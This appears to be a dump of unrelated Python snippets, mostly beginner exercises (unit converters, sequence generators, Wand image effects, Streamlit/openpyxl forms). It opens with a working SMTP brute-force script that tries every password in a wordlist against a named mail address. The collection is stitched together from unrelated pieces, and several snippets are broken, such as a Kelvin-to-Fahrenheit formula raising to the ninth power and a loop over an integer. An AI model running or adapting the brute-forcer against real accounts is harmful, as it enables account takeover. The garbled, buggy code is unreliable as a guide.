sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
def check_permission(user):
    def decorator(func):
        def wrapper(*args, **kwargs):
            if user["access_level"] == "admin":
                return func(*args, **kwargs)

            raise Exception("No way!!!")

        return wrapper

    return decorator


user = {"username": "jose", "access_level": "admin"}


@check_permission(user)
def get_admin_pass():
    return "1234"


print(get_admin_pass())
from wand.image import Image
import numpy as np
import cv2

with Image(filename='zelda1.jpg') as img:
    img.virtual_pixel = 'black'
    img.implode(0.5)
    img.save(filename='zelda1_implode.jpg')
    # convert to opencv/numpy array format
    img_implode_opencv = np.array(img)
    img_implode_opencv = cv2.cvtColor(img_implode_opencv, cv2.COLOR_RGB2BGR)

with Image(filename='zelda1.jpg') as img:
    img.virtual_pixel = 'black'
    img.implode(-0.5 )
    img.save(filename='zelda1_explode.jpg')
    # convert to opencv/numpy array format
    img_explode_opencv = np.array(img)
    img_explode_opencv = cv2.cvtColor(img_explode_opencv, cv2.COLOR_RGB2BGR)

# display result with opencv
cv2.imshow("IMPLODE", img_implode_opencv)
cv2.imshow("EXPLODE", img_explode_opencv)
cv2.waitKey(0)
# Import library from Image
from wand.image import Image
 
# Import the image
with Image(filename ='../geeksforgeeks.png') as image:
    # Clone the image in order to process
    with image.clone() as posterize:
        # Invoke posterize function
        posterize.posterize(2, 'no')
        # Save the image
        posterize.save(filename ='posterize1.jpg')
from wand.image import Image
from wand.api import library

with Image(filename='wizard:') as img:
    # Grab image size
    cols, rows = img.size
    # Define our target location ... say 1/3rd, by 1/5th
    tx, ty = int(cols * 0.33), int(rows * 0.2)
    # Find middle of the image.
    mx, my = cols // 2, rows // 2
    # Roll target coord into middle
    ok = library.MagickRollImage(img.wand, mx-tx, my-ty)
    if not ok:
        img.raise_exception()
    # Implode
    img.implode(0.5)
    # Roll middle back into place.
    ok = library.MagickRollImage(img.wand, mx+tx, my+ty)
    if not ok:
        img.raise_exception()
    # done
    img.save(filename='output.png')
# problem5:
# store a number as a password:
# list must be outside the loop:
import time
guesses = []
password= '0000'
while True:
    # to exit the program
    try:
        # Take user input:
        gussed = input("Gusse a password that consists from 4 numbers:  ")
        # convert to string:
        gussed = str(gussed)

        # conditions: 
        if gussed == password:
            print("Password correct!")
            # leave the loop
            break

        else:
            print("Password incorrect")
            guesses.append(gussed)
            if len(guesses)>3:
                print("You are banned because spamming, please try again after 3s. ")
                guesses = []
                time.sleep(3)
            else:
                guesses.append(gussed)

            
        print(guesses)
        #guesses.append(gussed)
        


    except KeyboardInterrupt:
        print("exist")
# problem 6:
"""
Write a program that:

Asks the user to input two different numbers and stores them in two variables
Outputs the biggest number entered

"""
while True:
    try:
        num1=input("Please enter the first number: ")
        num2=input("Please enter the scond number:")
        num1=int(num1)
        num2=int(num2)
        if num1 == num2:
            print("Please write different values>")

        else:
            if num1>num2:
                print(num1)
                break
            elif num2>num1:
                print(num2)
                break
        
    except ValueError:
        print("Conversion faild")
from dataclasses import dataclass, InitVar
from typing import Optional

@dataclass
class CampingEquipment:
    knife: bool
    fork: bool
    missing_flask_size: InitVar[Optional[int]] = None

    def __post_init__(self, missing_flask_size):
        if missing_flask_size is not None:
            self.missing_flask_size = missing_flask_size
""" Look for duplicate materials and let user choose between 2 pulled values from the same material

    Arguments:
       pandas_database {pandas object} -- original items database, pandas
       selected_material {string} -- selected items from dropdown input
       readable_excel_database {Excel object} -- Excel object to be able to read from Excel sheet
       data_column {string} -- column name to extract value for selected item

    Returns:
       list -- return list of extracted values from Excel
"""
    
# find the "duplicate" items
item_matches_indices = [j for j, x in enumerate(list(pandas_database[0])) if x == selected_item]

# extract and save the respective values
matched_items_values = []
for index in material_matches_indices:
   matched_items_values.append(readable_excel_database[data_column][index])
import streamlit as st

# Create item
custom_item = form_cols[1].text_input(label="Custom item")
custom_item_submit = form_cols[1].button("Add to database", key="new_item_input_case_" + str(case_n) + "_layer_" + str(index))
    
# if saving the custom item
if custom_material_submit:
   st.session_state["custom_items_database_active"].insert_rows(idx=2)       # add a new row before inserting custom item
   st.session_state["custom_items_database_active"].cell(row=2, column=1, value=custom_item)       # insert custom item into new row (INSERT AND ROW SHOULD BE SAME VALUE)
   
   st.session_state["custom_materials_database_write"].save("/path/to/Excel.xlsx")       # save the file to reflect the changes next time the database is loaded
   # get_custom_database()

   # TODO make global function?  Attempt to show changes after adding
   # custom_item_panda = pd.DataFrame([custom_item])    # to see the changes get reflected in the form
   # all_custom_item = custom_item_panda.append(all_item_list_pandas, ignore_index=True)
   # materials_choices = customization_choices.append(all_custom_materials, ignore_index=True)

   form_cols[1].write("\"" + str(custom_item) + "\" has been added to the database.  Please select a different item to see the changes")



# Edit item
# First check if selected material is custom-made or not
if orig_material_name in st.session_state["orig_item_prefill_index"]:
   form_cols[1].info("Sorry, you can only change custom-made items.")
elif orig_material_name in st.session_state["custom_item_prefill_index"]:
   to_change = form_cols[1].text_input(label="Edit material name", value=orig_item_name)

   if form_cols[1].button("Save changes"):
         st.session_state["custom_item_database_active"].cell(row=st.session_state["custom_item_prefill_index"][orig_item_name]+2, column=1, value=to_change)
      st.session_state["custom_item_database_write"].save(st.session_state["custom_database_path"])
            form_cols[1].info("\"" + to_change + "\" has been saved to the database.  Please select a different item to see the changes reflect.")

      # TODO push new changes to form for immediate change view
      #         item_table_pandas = pd.DataFrame(item_table_active.values)
      #         custom_item_list = customize_options.append(item_table_pandas, ignore_index=True)
import openpyxl
import string

ses["writeable_excel"] = openpyxl.load_workbook("/path/to/Excel.xlsx")
ses["writeable_excel_active"] = ses["writeable_excel"].active

col1 = "Column 1"
col3 = "Column 3"
col6 = "Column 6"

excel_cols = list(string.ascii_uppercase)
database_cols = [col1, col3, col6]

# If copying col names fr a different Excel, make sure they are up-to-date
for col in range(0, len(database_cols)):
   ses["writeable_excel_active"][excel_cols[col] + str(1)].value = database_cols[col]	# .strip(), if some cells have whitespace, take it out so that it'll show as NaN

ses["writeable_excel"].save("/path/to/Excel.xlsx")
ses["writeable_excel_read"] = pd.read_excel("/path/to/Excel.xlsx", engine="openpyxl")   # read written Excel
import streamlit as st

# Function to create a slider with an edit bar. The name of the slider must be unique on the page.
def createSliderWithEdit(container, initialValue, sliderName):
    val = initialValue

    # session_state is a global object, associated with streamlit, not with the container
    if sliderName in st.session_state:
        val = st.session_state[sliderName]
    nb = container.number_input(label=sliderName, value=val)

    # When you add a Key to the slider it will automatically create a session state associated with it.
    v = container.number_input(label='', value=nb, key=sliderName)
    # v = container.slider(label='', value=nb, key=sliderName)

createSliderWithEdit(st, 0, 'MyFavoriteInput')
createSliderWithEdit(st, 0, 'MySecondFavoriteInput')

col1, col2 = st.columns(2)

createSliderWithEdit(col1, 0, 'FirstInputInAColumn')
createSliderWithEdit(col2, 0, 'SecondInputInAColumn')
import streamlit as st



#app.py
import streamlit as st
import multipage_streamlit as mt
import page_1, page_2, page_3_args

st.write("Main page")
num_pages = 3
# pages = ["Page 1", "Page 2"]
pages = []
for i in range(1, num_pages + 1):
    pages.append("Page 3_" + str(i))
pages.insert(0, "Page 1")
pages.insert(1, "Page 2")


# Nav radios
page = st.radio(label="Welcome, please select a calculator:", options=pages, horizontal=True)
# st.write('<style>div.row-widget.stRadio > div{flex-direction:row;}</style>', unsafe_allow_html=True)
# st.markdown("---")

app = mt.MultiPage()
# app.add("Page a1", page_1.app)  # no parentheses or else it will run!
# app.add("Page b2", page_2.app)  # ^ditto
for i in range(1, num_pages+1):
    app.add("Page 3." + str(i), page_3_args.app)
# app.add("Page 1", page_1.app)
# app.add("Page 2", page_2.app)

# app.run_selectbox()

# Nav between case pages
if page == pages[0]: page_1.app()
elif page == pages[1]: page_2.app()
elif page == pages[2]: page_3_args.app(1)
elif page == pages[3]: page_3_args.app(2)
elif page == pages[4]: page_3_args.app(3)

# Session states
st.write(st.session_state)
# st.write(st.session_state["_state_"])
# st.write(st.session_state["_state_"]["page_1:x"])
# st.write(st.session_state["_state_"].keys())
# st.write(st.session_state["_state_"].values())



# page_1.py
import streamlit as st
from multipage_streamlit import State
# import page_1, page_2

def app():
    # state = State("sharing")
    # state = State(__name__)
    
    st.header("Page 1")

    # # if "page_1" not in st.session_state:
    # #     st.session_state["page_1"] = 9

    # # p1_text = st.number_input(label="Sharing state", value=st.session_state["page_1"], key="page_1")
    # p1_text = st.number_input(label="Sharing state", key=state("x", 9))
    # st.write(st.session_state[__name__ + ":x"])
    # st.number_input(label="Testing state", value=st.session_state[__name__ + ":x"])
    # # st.number_input(label="Testing state", key=st.session_state["_state_"][__name__ + ":x"])
    # st.write("\_state_")
    # # st.number_input(label="Testing state", value=st.session_state[__name__ + ":x"], key=state("x", 3))
    
    st.number_input(label="Testing shared state across pages page 1", key="testing")

    # # st.write(st.session_state["page_1"])
    # # st.write(st.session_state["page_2"])
    
    # state.save()

    return



# page_2.py
import streamlit as st
from multipage_streamlit import State

def app():
    # state = State("sharing")
    # state = State(__name__)
    
    st.header("Page 2")

    # # p1_text = st.number_input(label="Sharing state", value=st.session_state["page_1"], key="page_1")
    # p2_text = st.number_input(label="Indiv state", key=state("x", 1))
    # # p1_text = st.number_input(label="Sharing state", key=st.session_state[["_state_"]["page_1:x"]])
    
    # # st.write(__name__ + ":x")
    # # st.write(st.session_state[__name__ + ":x"])
    # # st.write(st.session_state)
    # st.write(state("x", 1))

    # # st.write(st.session_state["page_1"])
    
    st.number_input(label="Testing shared state across pages page 2", key="testing")


    # # if "page_2" not in st.session_state:
    # #     st.session_state["page_2"] = 12

    # # p2_text = st.number_input(label="Own state", value=st.session_state["page_2"], key="page_2")

    # # st.write(st.session_state["page_2"])
    
    # state.save()

    return



import streamlit as st
from multipage_streamlit import State

def app(case_x):
    state = State(__name__)
    
    st.header("Page 3")

    p3_text = st.number_input(label="Indiv state", key=state(str(case_x), 20 + case_x))
    p3_selbox = st.selectbox(label="Indiv state", options=[21, 22, 23], key=state(str(case_x) + "_select", 20 + case_x))
    
    state.save()

    return
def generate_digit_power_sequence(start,limit):
    # step1: Validate the provided parameter values
    if type(start)==int:
        pass
    else:
        return None
    if type (limit)== int:
        pass
    else:
        return None

    if not(100 <=start<=999):
        return None
    if not (limit>5):
        return None
    # step2: Generate the specified sequence
    # step3: return the generated sequence

    sequence = []
    cubic = 0
    start = str(start)
    for j in (limit):
        cubic = 0
        for i in (start):
            # define a new variable
            value = int(i)
            cubic=value**3 + cubic
        
        start = str(cubic)
        sequence.append(cubic)
    
    return sequence
generate_digit_power_sequence(213,6)
# generate a function:
def generate_cubed_sequence():
    # Step 1: Obtain and Validate Inputs
    # I should put the loop at the beginning of the code
    while True:
        # define the variable inside the loop itself
        maxValue = input("Enter an integer that represents the max value: ")
        try:
            # if the conversion succseed, check if the value >=1
            maxValue = int(maxValue)
            if maxValue>=1:
                print(f"Generating sequence with max value {maxValue}")
                # if everything follows all conditions and I want to leave the loop
                break
            # if conversion succeed but value<1:
            else: 
                print("Invalid Input")
        except ValueError:
            print("Invalid Input")
            pass
    # Step2: Generate the sequence 
    sequence = []
    x =1
    cubed = x**3

    while cubed <= maxValue:
        sequence.append(cubed)
        x+=1
        cubed=x**3
    return sequence
print(generate_cubed_sequence()) 
def generate_magic_sequence(start,increment,limit):
    # 1. validation:
    # Start:
    try:
        start = int(str(start))
        if not(start>=1):
            print("start ia not in range")
            return None
        print("Good start value.")
            
    except ValueError:
        # To understand what's going on
        print("conversion faild")
        return None
    
    
        
    # increment:
    try:
        increment = int(str(increment))
        if not(1<= increment <= 10):
            # To understand what's going on
            print("increment is not in range")
            return None
        print("Good increment value")
            
    except ValueError:
        # To understand what's going on
        print("conversion faild")
        return None
    
         
    # limit:
    try:
        limit = int(str(limit))
        if limit<=3 or limit >=99:
            print("limit is not in range")
            return None
        print("Good limit value")
        
    except ValueError:
        print("Conversion faild")
        return None
    
         
    # 2. Generate a sequence:
    sequence = []
    # create the first value here!
    sequence.append(start**5)

    # create a loop within a certaian condition:
    while len(sequence) < limit:
        # define a variable that contains the new values
        # last digit: (sequence[-1])[-1]
        nextValue = (int(str(sequence[-1])[-1])+increment)**5
        #nextValue= (int(str(sequence[-1])[-1] + increment))**5
        sequence.append(nextValue)
    return sequence

result = generate_magic_sequence(3,2,4)

print(result)
# Task1
def main():
    #thisfunction will allow the user to choose which function to run:
    # 1. print options out:
    print("Options: ")
    print("Temperature = convert between two different temperature units")
    print("Length = convert between two different length units")
    print("Mass = convert between two different mass units")
    print("Area = convert between two different area units")
    option = input("Select an option or control C to exit the program: ")
    option=option.lower()
    # to allow user repeat:
    while True:
        # to allow user to quit:
        try: 

            if option == 'temperature':
                temperature_convert()
            elif option == 'length':
                length_convert()
            elif option == 'mass':
                mass_convert()
            elif option=='area':
                area_convrt()
            else:
                print('Invalid Inputs')
        except KeyboardInterrupt:
            print("\nExiting program\n")
        break


def temperature_convert():
    #temperature = ['Kelvin', 'Celsius','Fahrenheit', 'Rankine', 'Delisle']
    validUnit=['C', 'K', 'F', 'R','D']
    temperature = {'K':'Kelvin','C':'Celsius','F':'Fahrenheit','R':'Rankine',  'D':'Delisle'}
    # print(temperature)
    # print(validUnit)
    convertFrom = input("Enter unit to convert from (C = Celcius, K = Kelvin, F = Fahrenheit, R = Rankine, D = Delisle): ")
    converTo = input("Enter unit to convert to (C = Celcius, K = Kelvin, F = Fahrenheit, R = Rankine, D = Delisle): ")
    value = input("Enter temperature value to convert: ")
    while True:
        try:
            convertFrom = str(convertFrom)
            converTo = str(converTo)
            value = float(value)
            convertFrom = convertFrom.upper()
            converTo = converTo.upper()
            if convertFrom not in validUnit or converTo not in validUnit:
                print("Invalid Unit! ")
            else: 
                break
        except ValueError:
            print("Conversion faild")
        """
                # From Kelvin:
        if convertFrom == 'Kelvin' and converTo == 'Celsius':
            newValue = value-273.15
            print(f"Temperature converted from {temperature[0]}K to {temperature[1]}°C is {round(newValue,2)}°C")
        elif convertFrom == 'Kelvin' and converTo == 'Fahrenheit':
            newValue= (((value-273.15)**9)/5)+32
            print(f"Temperature converted from {temperature[0]}K to {temperature[2]}°F is {round(newValue,2)}°F")
        elif convertFrom == 'Kelvin' and converTo =='Rankine':
            newValue = (value*9)/5
            print(f"Temperature converted from {temperature[0]}K to {temperature[3]}°R is {round(newValue,2)}°R")
        elif convertFrom == 'Kelvin' and converTo =='Delisle':
            newValue = ((373.15 - value)*3)/2
            print(f"Temperature converted from {temperature[0]}K to {temperature[4]}°D is {round(newValue,2)}°D")


        # From Celsius 
        
        elif convertFrom =='Celsius' and converTo=='Kelvin':
            newValue= value+273.15
            print(f"Temperature converted from {temperature[1]}°C to {temperature[0]}K is {round(newValue,2)}K")
        elif convertFrom == 'Celsius' and converTo == 'Fahrenheit':
            newValue = (value*9/5)+3**2
            print(f"Temperature converted from {temperature[1]}°C to {temperature[2]}°F is {round(newValue,2)}°F")
        elif convertFrom == 'Celsius' and converTo =='Rankine':
            newValue = (value*9/5)+491.67
            print(f"Temperature converted from {temperature[1]}°C to {temperature[3]}°R is {round(newValue,2)}°R")
        elif convertFrom == 'Celsius' and converTo == temperature[4]:
            newValue = ((100-value)*3)/2
            print(f"Temperature converted from {temperature[1]}°C to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # from Fahrenheit:
        elif convertFrom == temperature [2] and converTo =='Kelvin':
            newValue = (value+459.67)*5/9
            print(f"Temperature converted from {temperature[1]}°F to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == temperature [2] and converTo =='Celsius':
            newValue = (value -32)*5/9
            print(f"Temperature converted from {temperature[1]}°F to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == temperature [2] and converTo =='Rankine':
            newValue = value + 459.67
            print(f"Temperature converted from {temperature[1]}°F to {temperature[3]}°R  is {round(newValue,2)}°R ")
        elif convertFrom == temperature [2] and converTo == 'Delisle':
            newValue = (212 -value) * 5/6
            print(f"Temperature converted from {temperature[1]}°F to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # from Rankine (°R):
        elif convertFrom == 'Rankine' and converTo == 'Kelvin':
            newValue = value/1.8
            print(f"Temperature converted from {temperature[3]}°R to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == 'Rankine' and converTo =='Celsius':
            newValue = (value-491.67)*5/9
            print(f"Temperature converted from {temperature[3]}°R to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == 'Rankine' and converTo =='Fahrenheit':
            newValue = value-459.67
            print(f"Temperature converted from {temperature[3]}°R to {temperature[2]}°F is {round(newValue,2)}°F ")
        elif convertFrom == 'Rankine' and converTo == 'Delisle':
            newValue = (value-491.67) * 0.83333
            print(f"Temperature converted from {temperature[3]}°R to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # FROM D:
        elif convertFrom == 'Delisle' and converTo =='Kelvin':
            newValue = (373.15-value)*2/3
            print(f"Temperature converted from {temperature[4]}°D to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == 'Delisle' and converTo == 'Celsius':
            newValue = (value+100)/1.5000
            print(f"Temperature converted from {temperature[4]}°D to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == 'Delisle' and converTo =='Fahrenheit':
            newValue = ((value+100)*1.2000)+32
            print(f"Temperature converted from {temperature[4]}°D to {temperature[2]}°F is {round(newValue,2)}°F ")
        elif convertFrom == 'Delisle' and converTo == 'Rankine':
            newValue = ((value+100)*1.2000 )+491.67
            print(f"Temperature converted from {temperature[4]}°D to {temperature[3]}°R  is {round(newValue,2)}°D ")
        else: 
            print("Invalid inputs. ")
        """

    # From Kelvin:
    if convertFrom == 'K' and converTo == 'C':
        newValue = value-273.15
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °C is {round(newValue,2)}°C")
    elif convertFrom == 'K' and converTo == 'F':
        newValue= (((value-273.15)**9)/5)+32
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °F is {round(newValue,2)}°F")
    elif convertFrom == 'K' and converTo =='R':
        newValue = (value*9)/5
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °R is {round(newValue,2)}°R")
    elif convertFrom == 'K' and converTo =='D':
        newValue = ((373.15 - value)*3)/2
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °D is {round(newValue,2)}°D")


    # From Celsius 
        
    elif convertFrom =='C' and converTo=='K':
        newValue= value+273.15
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to {temperature[converTo]} K is {round(newValue,2)}K")
    elif convertFrom == 'C' and converTo == 'F':
        newValue = (value*9/5)+3**2
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to ({temperature[converTo]}) °F is {round(newValue,2)}°F")
    elif convertFrom == 'C' and converTo =='R':
        newValue = (value*9/5)+491.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to {temperature[converTo]}°R is {round(newValue,2)}°R")
    elif convertFrom == 'C' and converTo == 'D':
        newValue = ((100-value)*3)/2
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to ({temperature[converTo]}) °D  is {round(newValue,2)}°D ")
        
    # from Fahrenheit:
    elif convertFrom == 'F'and converTo =='K':
        newValue = (value+459.67)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) K  is {round(newValue,2)}K")
    elif convertFrom == 'F' and converTo =='C':
        newValue = (value -32)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'F' and converTo =='R':
        newValue = value + 459.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) °R  is {round(newValue,2)}°R ")
    elif convertFrom == 'F' and converTo == 'D':
        newValue = (212 -value) * 5/6
        print(f"Temperature converted from {temperature[convertFrom]} °F to {temperature[converTo]} °D  is {round(newValue,2)}°D ")
        
    # from Rankine (°R):
    elif convertFrom == 'R' and converTo == 'K':
        newValue = value/1.8
        print(f"Temperature converted from {temperature[convertFrom]} °R to {temperature[converTo]} K  is {round(newValue,2)}K")
    elif convertFrom == 'R' and converTo =='C':
        newValue = (value-491.67)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'R' and converTo =='F':
        newValue = value-459.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °F is {round(newValue,2)}°F ")
    elif convertFrom == 'R' and converTo == 'D':
        newValue = (value-491.67) * 0.83333
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °D  is {round(newValue,2)}°D ")
        
    # From D:
    elif convertFrom == 'D' and converTo =='K':
        newValue = (373.15-value)*2/3
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) K  is {round(newValue,2)}K")
    elif convertFrom == 'D' and converTo == 'C':
        newValue = (value+100)/1.5000
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'D' and converTo =='F':
        newValue = ((value+100)*1.2000)+32
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °F is {round(newValue,2)}°F ")
    elif convertFrom == 'D' and converTo == 'R':
        newValue = ((value+100)*1.2000 )+491.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °R  is {round(newValue,2)}°D ")
    else: 
        print("Invalid inputs. ")

#temperature_convert()
def length_convert():
    # Take user inputs: 
    value = input("Enter length value: ")
    convertFrom = input("Enter unit you want to convert from: ")
    converTo = input("Enter unit you want to convert to: ")
    # creat list that contains units:
    validUnits = ['m','in','ft','yd','mi','nm']
    # create a dictionary that has letters with their coressponding unit names:
    unitNames = {'m':'Metre',
    'in': 'Inch',
    'ft':'Feet',
    'yd': 'Yard',
    'mi':'Mile',
    'nm':'Nautical Mile'
    }
    converTo=converTo.lower()
    convertFrom=convertFrom.lower()

    # Validation:
    while True:
        try:
            value = float(value)
            if convertFrom not in validUnits or converTo not in validUnits:
                print("Unit Invalid. ")
            else:
                break

        except ValueError:
            print("Conversion faild")
    # Conver from meter:
    if convertFrom == 'm' and converTo == 'in':
        newvalue = value*39.3701
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'm' and converTo == 'ft':
        newvalue=value*3.28084
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'm' and converTo == 'yd':
        newvalue=value*1.094
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'm' and converTo == 'mi':
        newvalue=value/1609
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'm' and converTo == 'nm':
        newvalue=value*0.000539957
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from inch:
    if convertFrom == 'in' and converTo == 'm':
        newvalue = value/39.37
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'in' and converTo == 'ft':
        newvalue=value/12
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'in' and converTo == 'yd':
        newvalue=value/36
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'in' and converTo == 'mi':
        newvalue=value/63360
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'in' and converTo == 'nm':
        newvalue=value/72910
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from feet:
    if convertFrom == 'ft' and converTo == 'in':
        newvalue =value*12
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'ft' and converTo == 'm':
        newvalue=value/3.281
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'ft' and converTo == 'yd':
        newvalue=value/3
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'ft' and converTo == 'mi':
        newvalue=value/5280
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'ft' and converTo == 'nm':
        newvalue=value/6076
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Yard:
    if convertFrom == 'yd' and converTo == 'in':
        newvalue =value*36
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'yd' and converTo == 'm':
        newvalue=value/1.094
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'yd' and converTo == 'ft':
        newvalue=value*3
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'yd' and converTo == 'mi':
        newvalue=value/1760
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'yd' and converTo == 'nm':
        newvalue=value/2025
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Mile:
    if convertFrom == 'mi' and converTo == 'in':
        newvalue =value*63360
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'mi' and converTo == 'm':
        newvalue=value*1609
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'mi' and converTo == 'ft':
        newvalue=value*5280
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'mi' and converTo == 'yd':
        newvalue=value*1760
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'mi' and converTo == 'nm':
        newvalue=value/1.151
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Nautical Mile:
    if convertFrom == 'nm' and converTo == 'in':
        newvalue =value*72910
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'nm' and converTo == 'm':
        newvalue=value*1852
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'nm' and converTo == 'ft':
        newvalue=value*6076
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'nm' and converTo == 'yd':
        newvalue=value*2025
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'nm' and converTo == 'mi':
        newvalue=value*1.151
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to {round(newvalue,2)} mi. ")

#length_convert()
def mass_convert():
    # get user inputs:
    while True:
        try:

            value = input("Enter value of mass you want to convert: ")
            convertFrom = input("Enter unit you want to convert from (Kilogram (kg), Pound (lbs),Ounce (oz), Stone (st), Tons (t)): ")
            convertTo = input("Enter unit you want to convert to (Kilogram (kg), Pound (lbs),Ounce (oz), Stone (st), Tons (t)): ")
            validUnits =['kg', 'lbs', 'oz', 'st','t']
            unitNames = {
                'kg': 'Kilogram ', 
                'lbs': 'Pound ', 
                'oz': 'Ounce', 
                'st': 'Stone ',
                't':'Tons '
            }
            value = float(value)
            convertFrom=convertFrom.lower()
            convertTo=convertTo.lower()
            if convertFrom not in validUnits or convertTo not in validUnits:
                print("Invalid Units. ")
            else:
                break
        except ValueError:
            print("conversion faild")
    
    # convert from kg:
    if convertFrom == 'kg' and convertTo=='lbs':
        newvalue=value*2.205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'kg' and convertTo=='oz':
        newvalue=value*35.274
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'kg' and convertTo=='st':
        newvalue=value/6.35
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
